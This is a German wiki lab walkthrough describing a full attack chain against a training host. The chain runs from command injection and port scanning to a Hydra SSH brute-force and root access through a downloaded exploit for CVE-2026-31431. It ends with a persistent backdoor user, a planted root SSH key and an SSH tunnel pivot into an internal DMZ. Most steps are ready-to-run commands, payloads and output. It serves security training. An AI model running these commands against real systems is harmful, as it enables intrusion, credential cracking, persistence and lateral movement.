Attack Chain Example: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 6: Zeile 6:
 
=== Voraussetzungen ===
 
=== Voraussetzungen ===
  
* VulnSite läuft auf <code>victim.secure.local</code> (192.168.16.213)
+
* VulnSite läuft hinter <code>victim.secure.local</code> (192.168.16.213)
 
* SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)
 
* SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)
 
* User <code>christine</code> existiert mit UID 1006 und schlechtem Passwort
 
* User <code>christine</code> existiert mit UID 1006 und schlechtem Passwort

Version vom 13. August 2026, 14:21 Uhr

VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc → SSH-VPN Pivot

Ziel
Diese Lab-Übung zeigt eine vollständige Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen schwache Credentials, Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang, Stabilisierung des Zugriffs über einen persistenten Benutzer, und abschließend Aufbau eines SSH-VPN, um vom Angreifer-Host (Kali) direkt in das interne DMZ-Segment 10.0.10.0/24 zu pivotieren.

Voraussetzungen

  • VulnSite läuft hinter victim.secure.local (192.168.16.213)
  • SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)
  • User christine existiert mit UID 1006 und schlechtem Passwort
  • Wordlist bad-passwords.txt mit dem Passwort
  • Python3 für Copy Fail Exploit
  • Kali Linux mit nmap, Hydra, SSH Client

Phase 1: Command Injection & Reconnaissance

1a. Web-Interface erkunden
VulnSite unter http://victim.secure.local/ aufrufen, host.php anklicken (Command Injection Modul).
1b. Vulnerability ausnutzen
Im Eingabefeld folgende Payload eingeben:
xinux.de ; grep bash /etc/passwd
Das Semikolon beendet den host-Befehl und führt danach grep bash /etc/passwd aus. Im Output sichtbar sind alle User mit Login-Shell, z.B.:
christine:x:1006:1006:Christine User:/home/christine:/bin/bash
1c. Erste Reconnaissance
Notiere die Usernamen mit Shell (/bin/bash, /bin/sh). Ziel-User: christine

Phase 2: Port-Scanning

2a. Standard-Portscan von Kali
Von Kali aus scannen:
nmap -sS 192.168.16.213
Zeigt die Standard-Services (22, 25, 143, 389, 443, 445, 465, 993) sowie dass Port 22 offen ist.
2b. All-Ports-Scan
Suche nach zusätzlichen SSH-Instanzen:
nmap -sS 192.168.16.213 -p-
Findet Port 9922 als offen (weitergeleitet an internes SSH auf 10.0.10.123:22).
2c. Service-Version
Bestätige SSH auf 9922:
nmap -sV 192.168.16.213 -p 9922
Zeigt OpenSSH 9.2p1 Debian 2+deb12u7.

Phase 3: SSH Brute-Force mit Hydra

3a. Vorbereitung
Stelle sicher, dass die Wordlist bad-passwords das Passwort für christine enthält (in diesem Lab: 112233).
3b. Hydra-Angriff
Starte den Brute-Force:
hydra -l christine -P bad-passwords -s 9922 192.168.16.213 ssh
Hydra findet schnell: [9922][ssh] host: 192.168.16.213 login: christine password: 112233
3c. SSH-Login
Mit den gecrackten Credentials anmelden:
ssh -l christine -p 9922 192.168.16.213
Passwort: 112233
Nach erfolgreicher Authentifizierung landet man in der christine@victim:~$ Shell.

Phase 4: CVE-2026-31431 (Copy Fail) Privilege Escalation

4a. Exploit herunterladen
christine@victim:~$ git clone https://github.com/rootsecdev/cve_2026_31431/
christine@victim:~$ cd cve_2026_31431/
4b. Vulnerabilität testen
Zuerst Detector ausführen:
christine@victim:~/cve_2026_31431$ python3 test_cve_2026_31431.py
Ausgabe sollte sein:
[!] VULNERABLE to CVE-2026-31431.
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
Das Kernel-Subsystem algif_aead ist anfällig, der Page-Cache kann manipuliert werden.
4c. Copy Fail Exploit starten
christine@victim:~/cve_2026_31431$ python3 exploit_cve_2026_31431.py --shell
4d. Exploit-Ablauf
Der Exploit führt folgende Schritte aus:
  • Findet Christines UID in /etc/passwd: 1006
  • Patcht die 4 Bytes der UID im Page-Cache: 10060000
  • Bestätigt den Patch (Page-Cache liest jetzt 0000)
  • Ruft getpwnam('christine') auf: libc sieht jetzt UID 0
  • Führt automatisch su christine aus
4e. Passwort-Eingabe
Der su-Befehl fragt nach Christines Passwort:
Password: 
Eingabe: 112233 (das gleiche SSH-Passwort)
4f. Root-Shell
root@victim:~/cve_2026_31431# id
uid=0(root) gid=1006(christine) groups=1006(christine)
UID ist 0 (root), GID bleibt 1006, weil nur das UID-Mapping in /etc/passwd gepatched wurde.

Phase 5: Zugriff stabilisieren

Der Copy-Fail-Zugriff ist flüchtig (Page-Cache-Patch). Für zuverlässigen, wiederholbaren root-Zugang wird ein persistenter sudo-Benutzer angelegt und anschließend ein key-basierter root-Login von Kali eingerichtet.

5a. Persistenten sudo-User anlegen
root@victim:~/cve_2026_31431# /usr/sbin/useradd -ms /bin/bash -G sudo hacker
root@victim:~/cve_2026_31431# passwd hacker
5b. Als hacker einloggen und root werden
ssh -p 9922 hacker@192.168.16.213
hacker@victim:~$ sudo -i
5c. Kali-Pubkey für root hinterlegen
Öffentlichen Schlüssel von Kali in /root/.ssh/authorized_keys auf victim eintragen.
5d. Key-basierten root-Login von Kali prüfen
ssh -p 9922 root@192.168.16.213

Phase 6: SSH-VPN Tunnel in die DMZ

Über die bestehende SSH-Strecke wird ein Layer-3-Tunnel aufgebaut und das gesamte DMZ-Segment 10.0.10.0/24 über den Pivot geroutet. Kali erreicht danach interne Dienste (LDAP, Mail) direkt, ohne Werkzeuge auf das Opfer nachladen zu müssen.

Rolle Interface Adresse
Kali (Angreifer) tun0 10.9.0.1/30
victim (Pivot, root) tun0 10.9.0.2/30
victim eth0 10.0.10.123/24
6a. SSH für den Tunnel vorbereiten
Auf victim:
PermitTunnel yes
  • sudo vim /etc/ssh/sshd_config
  • systemctl restart ssh
6b. Tunnel von Kali aufbauen
  • sudo ssh -w 0:0 -p 9922 root@192.168.16.213
6c. Adressvergabe – auf dem Client (Kali)
  • sudo ip addr add 10.9.0.1/30 dev tun0
  • sudo ip link set tun0 up
6d. Adressvergabe – auf dem Server (victim)
  • sudo ip addr add 10.9.0.2/30 dev tun0
  • sudo ip link set tun0 up
6e. Punkt-zu-Punkt-Verbindung testen
  • ping -c 3 10.9.0.2
Erst wenn dieser Ping funktioniert, machen Routing und NAT Sinn.
6f. Routing und NAT auf dem Server (victim)
  • echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-forward.conf
  • sudo sysctl --system
  • iptables -t nat -A POSTROUTING -s 10.9.0.0/30 -j MASQUERADE
  • iptables -P FORWARD ACCEPT
6g. Route auf dem Client (Kali)
Das DMZ-Segment über den Tunnel routen:
  • sudo ip route add 10.0.10.0/24 via 10.9.0.2
6h. Interne Hosts direkt von Kali erreichen
  • nmap -sS 10.0.10.0/24
  • ldapsearch -x -H ldap://10.0.10.53 -b "dc=secure,dc=local"
Der komplette DMZ-Bereich ist erreichbar, als säße Kali physisch im internen Netz.

Automatisierung über die ssh-config

OpenSSH kann Adressvergabe und Routing selbst anstossen.

Datei auf Kali anlegen
  • vim ~/.ssh/config
Host vpn-victim
    HostName 192.168.16.213
    Port 9922
    User root
    Tunnel point-to-point
    TunnelDevice 0:0
    PermitLocalCommand yes
    LocalCommand ip addr add 10.9.0.1/30 dev tun0 && ip link set tun0 up && ip route add 10.0.10.0/24 via 10.9.0.2
    ServerAliveInterval 30
    ServerAliveCountMax 3

Auf der Serverseite übernimmt ein Skript die Gegenseite:

Skript anlegen
  • sudo vim /usr/local/sbin/tun-up.sh
#!/bin/bash
ip addr add 10.9.0.2/30 dev tun0
ip link set tun0 up
Skript ausführbar machen
  • sudo chmod 755 /usr/local/sbin/tun-up.sh
Verbindung starten
  • sudo ssh vpn-victim